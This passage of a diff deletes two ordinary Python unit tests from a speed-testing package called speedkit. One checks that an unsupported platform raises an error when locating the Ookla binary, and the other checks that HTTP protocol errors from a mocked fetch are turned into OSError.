-                        self.assertEqual(binaries.ookla_binary(cache), target)
-
-    def test_unsupported_platform_raises(self):
-        with mock.patch.dict(os.environ, {}, clear=True):
-            with mock.patch("platform.system", return_value="Linux"):
-                with mock.patch("platform.machine", return_value="riscv64"):
-                    with self.assertRaises(UnsupportedPlatformError):
-                        binaries.ookla_binary()

speedkit-0.1.0/tests/test_utils.py

@@ -1,16 +0,0 @@
-import http.client
-import unittest
-from unittest import mock
-
-from speedkit.utils import fetch
-
-
-class TestFetch(unittest.TestCase):
-    def test_http_protocol_errors_normalize_to_oserror(self):
-        # IncompleteRead/BadStatusLine are HTTPException, not OSError; callers rely
-        # on OSError to degrade gracefully instead of losing a finished measurement.
-        for error in (http.client.BadStatusLine("boom"), http.client.IncompleteRead(b"", 10)):
-            with self.subTest(error=error):
-                with mock.patch("speedkit.utils.urllib.request.urlopen", side_effect=error):
-                    with self.assertRaises(OSError):
-                        fetch("https://example.invalid/", timeout=1.0)